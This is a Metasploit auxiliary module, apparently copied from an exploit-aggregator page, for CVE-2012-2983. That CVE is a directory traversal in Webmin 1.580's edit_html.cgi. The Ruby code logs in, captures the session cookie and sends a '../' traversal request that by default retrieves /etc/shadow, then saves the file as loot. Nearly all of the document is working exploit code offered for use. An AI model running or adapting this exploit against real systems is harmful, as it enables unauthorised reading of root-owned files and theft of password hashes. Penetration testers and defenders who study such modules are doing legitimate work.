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## https://sploitus.com/exploit?id=PACKETSTORM:180804
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',
'Description' => %q{
This module exploits a directory traversal in Webmin 1.580. The vulnerability
exists in the edit_html.cgi component and allows an authenticated user with access
to the File Manager Module to access arbitrary files with root privileges. The
module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.
},
'Author' => [
'Unknown', # From American Information Security Group
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '85247'],
['BID', '55446'],
['CVE', '2012-2983'],
['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],
['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']
],
'DisclosureDate' => '2012-09-06',
'Actions' =>
[
['Download', 'Description' => 'Download arbitrary file']
],
'DefaultAction' => 'Download'
))
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptInt.new('DEPTH', [true, 'Traversal depth', 4]),
OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ])
])
end
def run
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Authentication successful"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
print_status("Attempting to retrieve #{datastore['RPATH']}...")
traversal = "../" * datastore['DEPTH']
traversal << datastore['RPATH']
data = "file=#{traversal}&text=1"
res = send_request_cgi(
{
'method' => 'GET',
'uri' => "/file/edit_html.cgi?#{data}",
'cookie' => "sid=#{session}"
}, 25)
if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m)
loot = $1
f = ::File.basename(datastore['RPATH'])
path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
print_good("#{datastore['RPATH']} saved in #{path}")
else
print_error("Failed to retrieve the file")
return
end
end
end